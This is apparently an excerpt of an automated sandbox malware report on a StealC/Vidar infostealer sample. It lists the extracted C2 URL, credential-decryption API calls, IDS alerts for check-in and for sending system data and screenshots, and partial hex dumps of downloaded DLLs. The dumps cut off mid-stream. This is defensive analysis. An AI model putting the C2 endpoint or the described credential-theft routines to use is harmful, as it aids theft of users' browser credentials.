Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4159a15b61a14dfdd5f532815638e826078ac5070ff68ef7518249a195d1f46f
Instruction ID: e5a6f15e28e8e74e27fe566a31866ecb90f852f11d266f03835f7a4c13becf4e
Opcode Fuzzy Hash: 4159a15b61a14dfdd5f532815638e826078ac5070ff68ef7518249a195d1f46f
Instruction Fuzzy Hash: 0951CFB1B052168BDB18CF98C99475EB7B5FF45305F058529CC5AABB00EB31E815CBA2

Function 6CCDB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CC80A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCDB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CC80A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCDB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CC80A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCDB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6CC80A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCDB67F

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 28fbd66ad54a0a51b9b0816ee60ff83887573011608c4112bd4848534ed1485f
Instruction ID: e1c7b259aa07fe7c86ba5319d1702407e3d188a2b9312d2eb9ae14e6e90da9f3
Opcode Fuzzy Hash: 28fbd66ad54a0a51b9b0816ee60ff83887573011608c4112bd4848534ed1485f
Instruction Fuzzy Hash: 2F31F471A002168FDB18CF58C85465ABBF5FF80304F17856AE9169B301EB31F917CBA0

Function 6CCAF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CCAF611
memcpy.VCRUNTIME140(?,?,?), ref: 6CCAF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CCAF652
memcpy.VCRUNTIME140(?,?,?), ref: 6CCAF668

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 18e64db2c1078356a97ed78d2a646d539cc08aee149ab690dbfa03d2039b17f5
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 2C315171A00215AFC714CF5ECCC4A9F7BB6FF88354B148539FA498BB14E671E9458B90

Source: 0.2.Setup-Pro.exe.2ab8000.8.raw.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://45.66.249.162/9e6547173a597645.php", "Botnet": "v1"}
Source: 0.2.Setup-Pro.exe.2ab8000.8.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://45.66.249.162/9e6547173a597645.php", "Botnet": "/55145c8889ec57f2/"}

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_03009B60 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	2_2_03009B60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_03007240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	2_2_03007240
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_03018EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	2_2_03018EA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_03009AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	2_2_03009AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_0300C820 memset,lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	2_2_0300C820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 2_2_6CC86C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	2_2_6CC86C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49707 -> 45.66.249.162:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49707 -> 45.66.249.162:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.66.249.162:80 -> 192.168.2.8:49707
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49707 -> 45.66.249.162:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.66.249.162:80 -> 192.168.2.8:49707
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49707 -> 45.66.249.162:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.8:49707 -> 45.66.249.162:80

Source: Malware configuration extractor	URLs: http://45.66.249.162/9e6547173a597645.php
Source: Malware configuration extractor	URLs: http://45.66.249.162/9e6547173a597645.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 11 Oct 2024 20:32:26 GMTContent-Type: application/x-msdos-programContent-Length: 1106998Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 12:30:30 GMTETag: "10e436-5e7ed3ec64580"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 11 Oct 2024 20:32:32 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "a7550-5e7ea271b0900"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 11 Oct 2024 20:32:34 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "94750-5e7ea271b0900"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 11 Oct 2024 20:32:35 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "6dde8-5e7ea271b0900"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 11 Oct 2024 20:32:37 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "1f3950-5e7ea271b0900"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 11 Oct 2024 20:32:40 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 08:49:08 GMTETag: "3ef50-5e7ea271b0900"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 